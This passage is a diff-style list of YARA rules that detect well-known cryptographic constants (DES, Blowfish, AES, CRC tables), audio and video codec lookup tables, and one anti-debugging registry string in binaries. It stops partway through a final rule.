+rule DES_SPR_SPtrans__32_lil_2048_
+{
+strings:
+	$a0 = { 0008080200000800020000020208080200000002020808000200080002000002020808000008080200000802020800000208000200000002000000000200080000000800020000000008000200080800020808020000080202080000000800020200000000080000000808000200080200080000020800020200080200000000000000000208080200080002020008000008080200000800020800000008000202000802000800000008080002000002020808000200000002000002000008020208080200080800000008020208000200000002020800000200080000000000000008000000000202080002000808020200000002000802000800000208080010801040000000000080100000001040100000401080000000800040008010000080000010001040100000000080004010001000008010400000104010000000000010001080004010001040008000001080100000000040000000001000100010800040108010000080104010000040000000400000100010800000108010401000100000801040008000401080100010801040100010001000004000000000000000401080000000001000100010400080000000000040108010001080004000801040008000000000000010000040100000001080104000801000000010401000104000001000108000000080004010800040100000000000104000801000010000040001040400010000010100040100040000000004010100040001040000010004000004000000040401000000010104040101000001000000010004040000000001000400000104040001000001010000010104040000040001000004010004040001000401010400000004040001040000000000000000040101040000010404000100000100000000000400010100000100040000000404010100040000000000010404000104000100040401000400000000040101040401000000010104000100000400000004010104040000040000010004010100040001040000010004000000000100040401010000010000040101040000010000000004040810400000100010080000000810401000000000000040100810001008004000001040100800001000000010081000000800001008104000000040000000001008004010001040000010000008000000001040000810001000004010001000000810000000000000080040000010401000100010080040100810401000004000080040100810000000004000080000100010400000100010080000000000401008100010000000000010000008004000000000000800401000104010001000000000001008104010081040000000400008104010080000000010001008104000080040000010400000004010081000100810000000000010080000100010401000000008000001000004000020040108200001080004000820040100000001080000010020000000200000080004010020040008200001080004010800000000000401000000000820000100200400000004000820040100000000002000000820000000200400082004010820000100000001080004000020040000000401080004010820040008200001000000010800000100200000002000000800040008000000080004010020040108000000002004010000000008000400002000010020040008000400000000000020040108200001080004010820040000000001000004010020000108000400082004000020000000200401000000010820000008400000804000200000000000002020804000200000200000402000800000200040200000402020800020200000000080002000804000008000002080402020000000200040200080400020800000000000200000400000000020208040002080402020800000208000000080402000004000000000202000402020000020008040200000000000800020008040202000002020804000200000000000002000800000008000200000400020800000200040002000402020800020200040000000402020800020200000002000402000804000008000002080402020000000000000200000400000804020008000202080000020804020000040000000400020800040000000020000000200010400000104420001044000000042000000000000000000010402000104020000004000010400000000420001004000010402000004020001004000000440000004420001000000000002000104000001004200000440000104420000004200010400000004420000044000010002000000000001044200000040000104400001040200000040000000020000000000010440000104020001044200000042000000000000000200000400000104000000000200010000000004020001000200010042000004020000004000000442000100000001004200010400000004400000044200010400000100420001004000010440000080008020000082208000020000000000000002208000800000008020800082208000000000000020000082008000020080008200800002208000002000008020000002008000820080008000000002208000822080000020000000000000820000000020000080008000022080008020000080000000020000008220800000000000800000000200800000208000822080000200000000200000000000008200800080208000022000000220800080000000822080000000800080000000022080008220000080000000802080000020000082008000020080000220000080208000000000008220800082000000000000000020800080200000020080008200 }
+
+condition:
+	$a0
+}
+
+	
+rule MBC1_iv_tbl__32_lil_256_
+{
+strings:
+	$a0 = { ec7c5dfaf8334573b2a44e486be4f02b4b8853a8e0dee7cb2af96d977575b1e2fd1ebcf973c5adf8a96e5b2efd4f5a1c6277f23dbdf07b2dd6269d03097d930ac22b05011ceaee8abe3e7dfb82a14924a31bb7175589e6c6cda0c7744587b8e18c95714d88eb9c14b9e044531fa2f0c39b4248a3cdc872f65ca51fd0dfd36f4c4e565bc06118d8e0aceab3a3084aae17bff38d9dfecb5313c8f1c025ec1828d5b002a11b94c3fdc25e50b09acbf8d5f8da4987700bd6c534b046c0d172468e4c846a230eabc5365ab59e9bdc1857db0ac57cd257fdaeecc49e0d7cb5ea924e76d61ea04c054431a74b6b5eee890156f9d5d40cc5d8afe0bf84f92283601b6065 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_ulaw_decode__16_lil_256_
+{
+strings:
+	$a0 = { 84828486848A848E84928496849A849E84A284A684AA84AE84B284B684BA84BE84C184C384C584C784C984CB84CD84CF84D184D384D584D784D984DB84DD84DF04E104E204E304E404E504E604E704E804E904EA04EB04EC04ED04EE04EF04F0C4F044F1C4F144F2C4F244F3C4F344F4C4F444F5C4F544F6C4F644F7C4F744F8A4F8E4F824F964F9A4F9E4F924FA64FAA4FAE4FA24FB64FBA4FBE4FB24FC64FC94FCB4FCD4FCF4FC14FD34FD54FD74FD94FDB4FDD4FDF4FD14FE34FE54FE74FE8CFE9CFEACFEBCFECCFEDCFEECFEFCFE0CFF1CFF2CFF3CFF4CFF5CFF6CFF7CFF88FF90FF98FFA0FFA8FFB0FFB8FFC0FFC8FFD0FFD8FFE0FFE8FFF0FFF8FF0000 }
+
+condition:
+	$a0
+}
+
+	
+rule Black_Hole_Entertainment_ORK_encryption__32_big_AND_
+{
+strings:
+	$a0 = { 48b18039[0-20]48b18039[0-20]48b18039 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huff_icc__8_byt_28_
+{
+strings:
+	$a0 = { E101E202E003E304DF05E406DE07E508E609DD0AE70BDC0CE80DDBDA }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_log2__16_big_66_
+{
+strings:
+	$a0 = { 000405b30b36109015c41ad31fbf248b29382dc7323a36933ad13ef8430646ff4ae24eb1526c561459aa5d2e60a2640567596a9e6dd470fc741777247a257d198001 }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_reverse_sbox__32_lil_1024_
+{
+strings:
+	$a0 = { 000000008000000040000000c000000020000000a000000060000000e0000000100000009000000050000000d000000030000000b000000070000000f0000000080000008800000048000000c800000028000000a800000068000000e8000000180000009800000058000000d800000038000000b800000078000000f8000000040000008400000044000000c400000024000000a400000064000000e4000000140000009400000054000000d400000034000000b400000074000000f40000000c0000008c0000004c000000cc0000002c000000ac0000006c000000ec0000001c0000009c0000005c000000dc0000003c000000bc0000007c000000fc000000020000008200000042000000c200000022000000a200000062000000e2000000120000009200000052000000d200000032000000b200000072000000f20000000a0000008a0000004a000000ca0000002a000000aa0000006a000000ea0000001a0000009a0000005a000000da0000003a000000ba0000007a000000fa000000060000008600000046000000c600000026000000a600000066000000e6000000160000009600000056000000d600000036000000b600000076000000f60000000e0000008e0000004e000000ce0000002e000000ae0000006e000000ee0000001e0000009e0000005e000000de0000003e000000be0000007e000000fe000000010000008100000041000000c100000021000000a100000061000000e1000000110000009100000051000000d100000031000000b100000071000000f1000000090000008900000049000000c900000029000000a900000069000000e9000000190000009900000059000000d900000039000000b900000079000000f9000000050000008500000045000000c500000025000000a500000065000000e5000000150000009500000055000000d500000035000000b500000075000000f50000000d0000008d0000004d000000cd0000002d000000ad0000006d000000ed0000001d0000009d0000005d000000dd0000003d000000bd0000007d000000fd000000030000008300000043000000c300000023000000a300000063000000e3000000130000009300000053000000d300000033000000b300000073000000f30000000b0000008b0000004b000000cb0000002b000000ab0000006b000000eb0000001b0000009b0000005b000000db0000003b000000bb0000007b000000fb000000070000008700000047000000c700000027000000a700000067000000e7000000170000009700000057000000d700000037000000b700000077000000f70000000f0000008f0000004f000000cf0000002f000000af0000006f000000ef0000001f0000009f0000005f000000df0000003f000000bf0000007f000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_tivo_Series1AudioWithPTS__32_lil_24_
+{
+strings:
+	$a0 = { 5b0100008b010000eb0100004b0200000b0300006b030000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_96_128_and_sfb_64_128__avcodec___faad___16_big_24_
+{
+strings:
+	$a0 = { 00040008000c0010001400180020002800300040005c0080 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1800063__32_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000003008c0106001803050094020c0030060f00bc070a0028050900a4041800600c1b00ec0d1e00780f1d00f40e1400500a1700dc0b120048091100c4083000c01833004c193600d81b3500541a3c00f01e3f007c1f3a00e81d3900641c2800a0142b002c152e00b8172d0034162400901227001c1322008811210004106000803163000c3066009832650014336c00b0376f003c366a00a834690024357800e03d7b006c3c7e00f83e7d00743f7400d03b77005c3a7200c83871004439500040295300cc285600582a5500d42b5c00702f5f00fc2e5a00682c5900e42d480020254b00ac244e0038264d00b4274400102347009c224200082041008421c0000063c3008c62c6001860c5009461cc003065cf00bc64ca002866c900a467d800606fdb00ec6ede00786cdd00f46dd4005069d700dc68d200486ad100c46bf000c07bf3004c7af600d878f5005479fc00f07dff007c7cfa00e87ef900647fe800a077eb002c76ee00b874ed003475e4009071e7001c70e2008872e1000473a0008052a3000c53a6009851a5001450ac00b054af003c55aa00a857a9002456b800e05ebb006c5fbe00f85dbd00745cb400d058b7005c59b200c85bb100445a9000404a9300cc4b960058499500d4489c00704c9f00fc4d9a00684f9900e44e880020468b00ac478e0038458d00b4448400104087009c418200084381008442800100c683018cc7860118c5850194c48c0130c08f01bcc18a0128c38901a4c2980160ca9b01eccb9e0178c99d01f4c8940150cc9701dccd920148cf9101c4ceb001c0deb3014cdfb601d8ddb50154dcbc01f0d8bf017cd9ba01e8dbb90164daa801a0d2ab012cd3ae01b8d1ad0134d0a40190d4a7011cd5a20188d7a10104d6e00180f7e3010cf6e60198f4e50114f5ec01b0f1ef013cf0ea01a8f2e90124f3f801e0fbfb016cfafe01f8f8fd0174f9f401d0fdf7015cfcf201c8fef10144ffd00140efd301cceed60158ecd501d4eddc0170e9df01fce8da0168ead901e4ebc80120e3cb01ace2ce0138e0cd01b4e1c40110e5c7019ce4c20108e6c10184e7400100a543018ca4460118a6450194a74c0130a34f01bca24a0128a04901a4a1580160a95b01eca85e0178aa5d01f4ab540150af5701dcae520148ac5101c4ad7001c0bd73014cbc7601d8be750154bf7c01f0bb7f017cba7a01e8b8790164b96801a0b16b012cb06e01b8b26d0134b3640190b767011cb6620188b4610104b52001809423010c9526019897250114962c01b0922f013c932a01a891290124903801e0983b016c993e01f89b3d01749a3401d09e37015c9f3201c89d3101449c1001408c1301cc8d1601588f1501d48e1c01708a1f01fc8b1a0168891901e488080120800b01ac810e0138830d01b4820401108607019c870201088501018484 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_vivo_h263_format__16_big_28_
+{
+strings:
+	$a0 = { 000000000080006000b000900160012002c0024005800480014000f0 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V3__32_lil_1024_
+{
+strings:
+	$a0 = { bbb96a01e59a66b1e26514cd25871b51f7a257a4d0d6be03d6deb504b35285fefdba4aadcf09e063091c9684a5914d1a3da7374df1aa5ca37ba417e1b55a8ef9460320acc4e6841155cc68c2dcc6a80daa85d099fbb241aac7e20f9cf359ae55febec120ad7aa2e5d729cc7f71bc0ae8e096e63bac8ddb9e95d1152232b3aace704b739363843bfd41fc52d07dac1ce676437894bdb161069b32f1da7957e517f941b35c8016564b677fc20c59dc7ecce1619f4010cbc3e381e12f300c10160e922e675ea26e3f664ee8cf5378a09c6cb0560e73573f9a34e69eed3cd3d2358edfc22380f2aed72e13cf486e94266c591fdf5e60c1ea049b7547f319d5da3e8908ebefffd42d47f238abb7c7543b11b94a1336a2699c26f47f5fee1003048b8d56c8e34fe76994471ad3deea113cba982278692d12383115c511fd6a208b9bdb304058387ea8976b2e687f2318202c1c06080b074507ab21f8b6ca2729970d5f0bef6472f4a6dc298ef5b2b374b08a6282e5a4bdb2a5fc85734ff81e90dd95a8b1a1770837bf2a444c1b3da5beb5ea8be3926db63baf3c4a07ff727c0f149d8331b721431734b19f0ee3e4f8fc4d33d684edafbad9ca2887d2254cf5890ac0cf28607424430fa0266d67df055b2f8c3a0a181d09bc46187def827bb8cefe9918ec86f035cdfa1295ea8efb324917bd2fc8f6921f9ccd83a68a0e4b4288fdb9b4268390dc53c463c5f551a55277b401ef52331abeb7a97c0fa876226fc319f66d6b6fd402a762bfecdd31d176d121c7784f1fb6283c504e368f02cbc816c3c8e499c1032ccc0d6bee647b49815e230cb0a399461dfa4538d1217ce2a06c90a67e2d6cf4ae5ad8f5412470622aca0560e904fbf9f18312ddc6c61576e79e3e7150ab72a9e2e87d09c42c9b8dd56e63548893d91e25f05d25d872b881652b64ffa95cd0fe461d2cac963ea3bcc01b24a7913648533f8c064045354cd8b2b94a98f77c5b659de46d1fca627342867a536e9a400b2bab47f459d7ff49b85b44f0d25a395ccebc5d27873d00000000de355afb02f3f2f61cdbd5ed5fd475cb3a584531686b5f8f238f1056582b07b7b8bde18ca695c697c2ee8f16dacea30a3344d3b519d75567c901eb6434bba1c9f6552edfa09dcd909ac588a1658c30fa2a9386d2ae7e29686a98ad7914303a121e28271ba46634616688bb772f9f065815c7436901f7797b0de76f75b4adf78248e0c45496d59eafcbf2199250c0e848e98a70bf8df1393e87e92437d83d51fcc01d7de08bf932394be44fd9ed71894eba4e137a851ad6c1513791336080b0709fc9082b3f54c5bb9722e7d44dec44deb65e0574a16ab4eba9815b14050c808aee7502c3af8950136f942df36177c90b9d3afadd98367a57eb7982492774e9a7bf4293f042f8d95d861e5d4cdb39da71912aecd3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale3__flt64___64_big_56_
+{
+strings:
+	$a0 = { 3fef66a4e00000023fedfbe25ffffffe3fec07a7c00000043fe6a09e5ffffffc3fdee0223ffffffc3fd65b849ffffffa3fc8a6b4dfffffee }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1db71064__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000de410b1ebc83163c62c21d2209dc3c34d79d372ab55f2a086b1e211663636824bd22633adfe07e1801a175066abf5410b4fe5f0ed63c422c087d4932b71dc104695cca1a0b9ed738d5dfdc26bec1fd306080f62e0242eb0cdc03e012d47ea9200a3fa23e68fdbf1cb6bcb402dda2951403e39e0a61218328bf6088366e3b8209b07a8917d2b894350cf99f2b67e7be3db9a6b523db64a8010525a31f0d58ea2dd319e133b1dbfc116f9af70f0484d619dac5dd07b807c0256646cb3bd926430d0767481365a55531bbe45e2fd0fa7f390ebb74276c796905b238621bba452b296404203706c63d15d887360bb399171d6dd81c030f1a0121d15b0a3fdc76041302370f0d60f5122fbeb41931d5aa38270beb333969292e1bb7682505bf156c376154672903967a0bddd77115b6c9500368885b1d0a4a463fd40b4d216b6bc517b52ace09d7e8d32b09a9d83562b7f923bcf6f23dde34ef1f0075e4010808ad33d649a62db48bbb0f6acab01101d49107df959a19bd57873b63168c25b24d861a6c0c8d040ece9026d08f9b38bb91ba2e65d0b1300712ac12d953a70cd12eee3e0f6fe5206dadf802b3ecf31cd8f2d20a06b3d9146471c436ba30cf280550471edb114c00b9d3512267925a3c0c8c7b2ad2cd7034b00f6d166e4e660866332f3ab8722424dab0390604f132186fef130eb1ae1810d36c05320d2d0e2cb8ed082666ac0338046e1e1ada2f1504b13134126f703f0c0db2222ed3f32930db8e600205cf6b1c670d763eb94c7d20d2525c360c1357286ed14a0ab09041140ff0c922d1b1c23cb373df1e6d32d400062cf516d86dfe08baafe32a64eee8346c93a106b2d2aa18d010b73a0e51bc24654f9d32bb0e962cd9cc8b0e078d8010d6d68a2f089781316a559c13b414970ddf0ab61b014bbd056389a027bdc8ab39b5b5e20b6bf4e9150936f437d777ff29bc69de3f6228d52100eac803deabc31d61cb4b2bbf8a4035dd485d17030956096817771fb6567c01d49461230ad56a3d02a8230fdce92811be2b3533606a3e2d0b741f3bd5351425b7f7090769b60219649b0c35bada072bd8181a09065911176d473001b3063b1fd1c4263d0f852d2307f86411d9b96f0fbb7b722d653a79330e245825d065533bb2a74e196ce64507d386cd310dc7c62f6f05db0db144d013da5af105041bfa1b66d9e739b898ec27b0e5a5156ea4ae0b0c66b329d227b837b93999216778923f05ba8f1ddbfb84030aa08e3cd4e18522b62398006862931e037cb208dd3db916bfffa43461beaf2a69c3e618b782ed06d540f0240b01fb3a601fda2cbe5ed132dc9ccc1002ddc70ebdbd4f3863fc4426013e5904df7f521ab461730c6a20781208e26530d6a36e2edede271c009f2c02625d3120bc1c3a3ed7021b28094310366b810d14b5c0060a }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0x000000000000001B__64_big_refl_True_
+{
+strings:
+	$a0 = { 000000000000000001b0000000000000036000000000000002d000000000000006c0000000000000077000000000000005a000000000000004100000000000000d800000000000000c300000000000000ee00000000000000f500000000000000b400000000000000af0000000000000082000000000000009900000000000001b000000000000001ab0000000000000186000000000000019d00000000000001dc00000000000001c700000000000001ea00000000000001f100000000000001680000000000000173000000000000015e00000000000001450000000000000104000000000000011f000000000000013200000000000001290000000000000360000000000000037b0000000000000356000000000000034d000000000000030c0000000000000317000000000000033a000000000000032100000000000003b800000000000003a3000000000000038e000000000000039500000000000003d400000000000003cf00000000000003e200000000000003f900000000000002d000000000000002cb00000000000002e600000000000002fd00000000000002bc00000000000002a7000000000000028a000000000000029100000000000002080000000000000213000000000000023e00000000000002250000000000000264000000000000027f0000000000000252000000000000024900000000000006c000000000000006db00000000000006f600000000000006ed00000000000006ac00000000000006b7000000000000069a000000000000068100000000000006180000000000000603000000000000062e00000000000006350000000000000674000000000000066f000000000000064200000000000006590000000000000770000000000000076b0000000000000746000000000000075d000000000000071c0000000000000707000000000000072a000000000000073100000000000007a800000000000007b3000000000000079e000000000000078500000000000007c400000000000007df00000000000007f200000000000007e900000000000005a000000000000005bb0000000000000596000000000000058d00000000000005cc00000000000005d700000000000005fa00000000000005e100000000000005780000000000000563000000000000054e00000000000005550000000000000514000000000000050f000000000000052200000000000005390000000000000410000000000000040b0000000000000426000000000000043d000000000000047c0000000000000467000000000000044a000000000000045100000000000004c800000000000004d300000000000004fe00000000000004e500000000000004a400000000000004bf000000000000049200000000000004890000000000000d800000000000000d9b0000000000000db60000000000000dad0000000000000dec0000000000000df70000000000000dda0000000000000dc10000000000000d580000000000000d430000000000000d6e0000000000000d750000000000000d340000000000000d2f0000000000000d020000000000000d190000000000000c300000000000000c2b0000000000000c060000000000000c1d0000000000000c5c0000000000000c470000000000000c6a0000000000000c710000000000000ce80000000000000cf30000000000000cde0000000000000cc50000000000000c840000000000000c9f0000000000000cb20000000000000ca90000000000000ee00000000000000efb0000000000000ed60000000000000ecd0000000000000e8c0000000000000e970000000000000eba0000000000000ea10000000000000e380000000000000e230000000000000e0e0000000000000e150000000000000e540000000000000e4f0000000000000e620000000000000e790000000000000f500000000000000f4b0000000000000f660000000000000f7d0000000000000f3c0000000000000f270000000000000f0a0000000000000f110000000000000f880000000000000f930000000000000fbe0000000000000fa50000000000000fe40000000000000fff0000000000000fd20000000000000fc90000000000000b400000000000000b5b0000000000000b760000000000000b6d0000000000000b2c0000000000000b370000000000000b1a0000000000000b010000000000000b980000000000000b830000000000000bae0000000000000bb50000000000000bf40000000000000bef0000000000000bc20000000000000bd90000000000000af00000000000000aeb0000000000000ac60000000000000add0000000000000a9c0000000000000a870000000000000aaa0000000000000ab10000000000000a280000000000000a330000000000000a1e0000000000000a050000000000000a440000000000000a5f0000000000000a720000000000000a690000000000000820000000000000083b0000000000000816000000000000080d000000000000084c0000000000000857000000000000087a000000000000086100000000000008f800000000000008e300000000000008ce00000000000008d50000000000000894000000000000088f00000000000008a200000000000008b90000000000000990000000000000098b00000000000009a600000000000009bd00000000000009fc00000000000009e700000000000009ca00000000000009d100000000000009480000000000000953000000000000097e00000000000009650000000000000924000000000000093f000000000000091200000000000009090000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_sqrt_1_minus__flt32___32_big_64_
+{
+strings:
+	$a0 = { 3f8000003f8000003f7fadb33f7bebcb3f7f5c783f75a0093f7ebac83f6509ff3f7d7b7f3f53b1e73f7b0cc93f34d0e83f7666103ee825e33f6dd7a200000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_lookupmasks__16_lil_24_
+{
+strings:
+	$a0 = { 3600c006006948500621118401862848c410802911902a02 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks1_table__32_big_1024_
+{
+strings:
+	$a0 = { 4b7a70e9b5b32944db75092ec4192623ad6ea6b049a7df7d9cee60b88fedb266ecaa8c71699a17ff5664526cc2b19ee1193602a575094c29a0591340e4183a3e3f54989a5b429d656b8fe4d699f73fd6a1d29c07efe830f54d2d38e6f0255dc14cdd20868470eb266382e9c6021ecc5e09686b3f3ebaefc93c9718146b6a70a1687f358452a0e286b79c5305aa5007373e07841c7fdeae5c8e7d44ec5716f2b8b03ada37f0500c0df01c1f040200b3ffae0cf51a3cb574b225837a58dc0921bdd19113f97ca92ff69432477322f547013ae5e58137c2dadcc8b576349af3dda7a94461460fd0030eecc8c73ea4751e41e238cd993bea0e2f3280bba1183eb3314e548b384f6db9086f420d03f60a04bf2cb8129024977c795679b072bcaf89afde9a771fd9930810b38bae12dccf3f2e5512721f2e6b7124501adde69f84cd877a5847187408da17bc9f9abce94b7d8cec7aec3adb851dfa63094366c464c3d2ef1c18473215d908dd433b3724c2ba1612a14d432a65c45150940002133ae4dd71dff89e10314e5581ac77d65f11199b043556f1d7a3c76b3c11183b5924a509f28fe6ed97f1fbfa9ebabf2c1e153c6e86e34570eae96fb1860e5e0a5a3e2ab3771fe71c4e3d06fa2965dcb999e71d0f803e89d65266c8252e4cc9789c10b36ac6150eba94e2ea78a5fc3c531e0a2df4f2f74ea7361d2b3d1939260f19c279605223a708f71312b6ebadfe6eeac31f66e3bc4595a67bc883b17f37d1018cff28c332ddefbe6c5aa56558218568ab9802eecea50fdb2f953b2aef7dad5b6e2f841521b62829076170ecdd4775619f151013cca830eb61bd960334fe1eaa0363cfb5735c904c70a239d59e9e0bcbaade14eecc86bc60622ca79cab5cabb2f3846e648b1eaf19bdf0caa02369b9655abb5040685a323c2ab4b3319ee9d5c021b8f79b540b19875fa09995f7997e623d7da8f837889a97e32d7711ed935f166812810e358829c7e61fd696dedfa17858ba9957f584a51b2272639b83c3ff1ac24696cdb30aeb532e30548fd948e46dbc312858ebf2ef34c6ffeafe28ed61ee7c3c735d4a14d9e864b7e342105d14203e13e045eee2b6a3aaabeadb6c4f15facb4fd0c742f442ef6abbb5654f3b1d41cd2105d81e799e86854dc7e44b476a3d816250cf62a1f25b8d2646fc8883a0c1c7b6a37f1524c369cb749247848a0b5692b285095bbf00ad19489d1462b17423820e0058428d2a0c55f5ea1dadf43e233f70613372f0928d937e41d65fecf16c223bdb7cde3759cbee74604085f2a7ce77326ea607808419f8509ee8efd85561d99735a969a7aac50c06c25a04abfc800bcadc9e447a2ec3453484fdd567050e1e9ec9db73dbd3105588cd675fda79e3674340c5c43465713e38d83d28f89ef16dff20153e21e78fb03d4ae6e39f2bdb83adf7 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_initial_permutation_IP__8_byt_64_
+{
+strings:
+	$a0 = { 3a322a221a120a023c342c241c140c043e362e261e160e06403830282018100839312921191109013b332b231b130b033d352d251d150d053f372f271f170f07 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_envelope_table__flt32___32_big_496_
+{
+strings:
+	$a0 = { 3c1d68403d1be5103dac933c3e15f61c3e638c4e3e9e08763ece0e913f0000013f18f8b93f30fbc63f471cee3f5a827a3f6a6d993f7641b03f7d8a603f8000003f7d8a5f3f7641af3f6a6d983f5a82783f471cec3f30fbc43f18f8b73f0000003ece0e903e9e08753e638c4c3e15f61a3dac93383d1be5083c1d68203d1be5103e15f61c3e9e08763f0000013f30fbc63f5a827a3f7641b03f8000003f7641af3f5a82783f30fbc43f0000003e9e08753e15f61a3d1be508000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e15f61c3f0000013f5a827a3f8000003f5a82783f0000003e15f61a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003f0000013f8000003f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_p_from_kurt_func__flt32___32_big_164_
+{
+strings:
+	$a0 = { 3eba2d513ee7d9dc3f0a10283f1fc2873f35286b3f4a57863f5f5e313f7445dd3f848a9c3f8ee8d13f993f293fa38ef33fadd97f3fb81f753fc2617c3fcca03c3fd6dc5d3fe115df3feb4d6a3ff582fd3fffb6ed4004f49d400a0d1b400f251c40143c754019537a401e69d740237fe140289596402daaf84032c02f4037d4e9403ce9794041fdb5404711c7404c25af4051396d40564d01405b60424060738240658698 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te3__0x6363a5c6U___32_lil_1024_
+{
+strings:
+	$a0 = { c6a56363f8847c7cee997777f68d7b7bff0df2f2d6bd6b6bdeb16f6f9154c5c56050303002030101cea96767567d2b2be719fefeb562d7d74de6ababec9a76768f45caca1f9d82828940c9c9fa877d7def15fafab2eb59598ec94747fb0bf0f041ecadadb367d4d45ffda2a245eaafaf23bf9c9c53f7a4a4e49672729b5bc0c075c2b7b7e11cfdfd3dae93934c6a26266c5a36367e413f3ff502f7f7834fcccc685c343451f4a5a5d134e5e5f908f1f1e2937171ab73d8d8625331312a3f1515080c04049552c7c7466523239d5ec3c33028181837a196960a0f05052fb59a9a0e090707243612121b9b8080df3de2e2cd26ebeb4e6927277fcdb2b2ea9f7575121b09091d9e838358742c2c342e1a1a362d1b1bdcb26e6eb4ee5a5a5bfba0a0a4f65252764d3b3bb761d6d67dceb3b3527b2929dd3ee3e35e712f2f13978484a6f55353b968d1d100000000c12ceded40602020e31ffcfc79c8b1b1b6ed5b5bd4be6a6a8d46cbcb67d9bebe724b393994de4a4a98d44c4cb0e85858854acfcfbb6bd0d0c52aefef4fe5aaaaed16fbfb86c543439ad74d4d66553333119485858acf4545e910f9f904060202fe817f7fa0f0505078443c3c25ba9f9f4be3a8a8a2f351515dfea3a380c04040058a8f8f3fad929221bc9d9d70483838f104f5f563dfbcbc77c1b6b6af75dada4263212120301010e51afffffd0ef3f3bf6dd2d2814ccdcd18140c0c26351313c32fececbee15f5f35a2979788cc44442e3917179357c4c455f2a7a7fc827e7e7a473d3dc8ac6464bae75d5d322b1919e6957373c0a06060199881819ed14f4fa37fdcdc44662222547e2a2a3bab90900b8388888cca4646c729eeee6bd3b8b8283c1414a779dedebce25e5e161d0b0bad76dbdbdb3be0e064563232744e3a3a141e0a0a92db49490c0a0606486c2424b8e45c5c9f5dc2c2bd6ed3d343efacacc4a6626239a8919131a49595d337e4e4f28b7979d532e7e78b43c8c86e593737dab76d6d018c8d8db164d5d59cd24e4e49e0a9a9d8b46c6cacfa5656f307f4f4cf25eaeacaaf6565f48e7a7a47e9aeae101808086fd5babaf08878784a6f25255c722e2e38241c1c57f1a6a673c7b4b49751c6c6cb23e8e8a17cdddde89c74743e211f1f96dd4b4b61dcbdbd0d868b8b0f858a8ae09070707c423e3e71c4b5b5ccaa666690d8484806050303f701f6f61c120e0ec2a361616a5f3535aef9575769d0b9b9179186869958c1c13a271d1d27b99e9ed938e1e1eb13f8f82bb3989822331111d2bb6969a970d9d907898e8e33a794942db69b9b3c221e1e15928787c920e9e98749ceceaaff555550782828a57adfdf038f8c8c59f8a1a1098089891a170d0d65dabfbfd731e6e684c64242d0b8686882c3414129b099995a772d2d1e110f0f7bcbb0b0a8fc54546dd6bbbb2c3a1616 }
+
+condition:
+	$a0
+}
+
+	
+rule Boucher_randgen1__32_lil_AND_
+{
+strings:
+	$a0 = { 6f010000[0-20]ab000000[0-20]77030000[0-20]50010000[0-20]d1050000[0-20]fc000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__SOFTWARE__NuMega__8_byt_STR_16_
+{
+strings:
+	$a0 = { 534f4654574152455c4e754d65676100 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_1_poly_0x1__8_byt_refl_False_
+{
+strings:
+	$a0 = { 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_IW44_norm_of_all_wavelets__flt64___64_lil_128_
+{
+strings:
+	$a0 = { 7d3f355efa87a44073d712f241e966405ddc460378e9664026e4839ecd924940d1967329aeea4640344b02d4d4ea46401283c0caa19529403c31ebc550fe264003603c8386fe264011e50b5a48c00940081d740987fe07405d18e945edfe07409e3f129b34f2eb3fd1782288f330f13f7b1343723231f13ff0b84d5d9e73db3f }
+
+condition:
+	$a0
+}
+
+	
+rule epTool_bgptbl__32_lil_28_
+{
+strings:
+	$a0 = { af8f0000d52616001300000037050000e30a00000b000000e9000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale6__flt32___32_lil_252_
+{
+strings:
